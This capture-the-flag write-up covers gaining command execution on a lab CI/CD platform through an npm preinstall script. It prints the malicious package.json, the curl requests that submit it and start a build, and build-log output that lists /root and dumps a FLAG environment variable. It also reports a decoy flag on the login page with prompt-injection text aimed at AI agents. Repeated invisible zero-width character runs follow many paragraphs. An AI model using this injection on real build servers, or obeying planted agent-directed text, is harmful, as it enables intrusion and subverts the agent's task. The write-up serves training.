← Back to Writeups
CUSTOMMediumWeb

Lab 252 — BuildForge — RCE via npm Lifecycle Script Injection

XESXOR9/10/20264 min read
#web#custom#medium#build_log_exfiltration#cicd_pipeline_exploitation#decoy_flag_recognition#minimal_package_json_bypass#npm_lifecycle_script_injection#preinstall_script_abuse#linux

Lab 252 — BuildForge — RCE via npm Lifecycle Script Injection

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-20 | Status: Solved Techniques: build_log_exfiltration, cicd_pipeline_exploitation, decoy_flag_recognition, minimal_package_json_bypass, npm_lifecycle_script_injection, preinstall_script_abuse

Summary

Task: CI/CD platform (Express.js) where users edit project package.json and trigger builds. Solution: inject shell commands via npm preinstall lifecycle script in a minimal package.json (no dependencies to avoid registry timeout), read flag from build logs.

Lab 252 — BuildForge — RCE via npm Lifecycle Script Injection — Hackadvisor

Description

BuildForge is a CI/CD platform built by ForgeStack Technologies for Node.js development teams. It provides automated build pipelines, dependency management, and deployment workflows. Users can create projects, configure build settings including the project's package.json manifest, view build history, and monitor build logs. The platform handles the entire build lifecycle from dependency installation through deployment. As a security researcher, your task is to examine the build pipeline and find a way to execute arbitrary commands on the build server. The flag is stored somewhere on the server filesystem. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A CI/CD platform for Node.js projects. Users can edit project settings including the full package.json manifest, trigger builds, and view build logs. The goal is to achieve RCE on the build server and find the flag. Credentials: user@test.com / password123.

Analysis

Reconnaissance

  • Server: nginx/1.25.5 (reverse proxy) → Express.js backend
  • Credentials: user@test.com / password123
  • Features: Dashboard, Projects (3 pre-existing), Account page
  • API key: bf_ad78b8425b8175cd6371f95199ec82d4b7f4cb3478732819 (found on Account page)
  • Build workflow: Edit settings → POST /projects/{id}/build → poll /api/builds/{buildId}/status → view logs at /projects/{id}/builds/{buildId} ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Honeypot Flag

The login page HTML contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden divs and HTML comments, accompanied by prompt injection text designed to trick AI agents into submitting it. This is NOT the real flag.

Build Pipeline Analysis

The build pipeline has two distinct phases with different security postures:

  1. Dependency installation (npm install) — executes the user-provided package.json, including any lifecycle scripts (preinstall, postinstall, prepare, etc.). This step is NOT sandboxed.
  2. Build command (e.g., npm run build) — this step IS sandboxed. The log shows: "Build command skipped (sandbox mode)". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The critical asymmetry: the build command field is sanitized, but npm lifecycle scripts in the user-editable package.json run with full shell access during npm install.

Air-Gapped Build Environment

The build environment has no internet/registry connectivity. Using a package.json with real dependencies (express, cors, helmet, etc.) causes npm install to hang for 30 seconds and fail silently — no output, no error, just timeout. The solution is to use a minimal package.json with only name and version fields plus the malicious script, so npm install completes instantly ("up to date in 3s") without needing to resolve any packages. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Craft Minimal Malicious package.json

The key insight is keeping the package.json dependency-free so npm install succeeds in the air-gapped environment:

json
{
  "name": "test",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "find / -maxdepth 3 -name \"*flag*\" -type f 2>/dev/null; ls -la /root/ 2>/dev/null; env | grep -i flag 2>/dev/null; echo SEARCH_DONE"
  }
}

Step 2: Update Project Settings

bash
URL="https://82b9a980-5845-4e67-ac34-ed41ef1029b0.labs.hackadvisor.io"
COOKIE="cookies.txt"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

MALICIOUS_PKG='{"name":"test","version":"1.0.0","scripts":{"preinstall":"find / -maxdepth 3 -name \"*flag*\" -type f 2>/dev/null; ls -la /root/ 2>/dev/null; env | grep -i flag 2>/dev/null; echo SEARCH_DONE"}}'

curl -s -b "$COOKIE" -X POST "$URL/projects/699686dd6cc9bd42/settings" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "name=web-api" \
  --data-urlencode "description=ForgeStack REST API" \
  --data-urlencode "branch=main" \
  --data-urlencode "node_version=20" \
  --data-urlencode "build_command=echo done" \
  --data-urlencode "package_json=$MALICIOUS_PKG" \
  --data-urlencode "env_vars=NODE_ENV=production"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Trigger Build

bash
curl -s -b "$COOKIE" -X POST "$URL/projects/699686dd6cc9bd42/build" \
  -H "Content-Type: application/json"
# Returns: {"success":true,"buildId":"4bc8a90d8c0a8d86","message":"Build triggered successfully"}

Step 4: Read Build Logs

Navigate to /projects/699686dd6cc9bd42/builds/4bc8a90d8c0a8d86 to view the output:

[BuildForge] Installing dependencies...

> test@1.0.0 preinstall
> find / -maxdepth 3 -name "*flag*" -type f 2>/dev/null; ls -la /root/ 2>/dev/null; env | grep -i flag 2>/dev/null; echo SEARCH_DONE
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

/root/flag.txt
total 5
drwxrwxrwt    2 root     root            60 May 19 21:53 .
drwxr-xr-x    1 root     root          4096 May 19 21:53 ..
-rw-------    1 root     root            39 May 19 21:53 flag.txt
FLAG=FLAG{REDACTED}
SEARCH_DONE

up to date in 3s

[BuildForge] Dependencies installed successfully
[BuildForge] Running build command: echo done
[BuildForge] Build command skipped (sandbox mode)
[BuildForge] Build completed successfully

The flag was present both as an environment variable FLAG and in the file /root/flag.txt. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Attack Flow Summary

User → Edit package.json in project settings
  → Add preinstall script with shell commands
    → Trigger build via POST /projects/{id}/build
      → npm install executes preinstall script (unsandboxed)
        → Shell commands run on build server
          → Output captured in build logs
            → User reads flag from build log page

Failed Approaches

  1. Full dependencies in package.json — npm install failed with 30s timeout because the build environment has no registry connectivity. No output was produced.
  2. Build command injection — the build command field is sandboxed ("Build command skipped (sandbox mode)"), so injecting commands there has no effect.
  3. Modifying the build script in package.json — never reached because npm install failed first when using full dependency lists. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍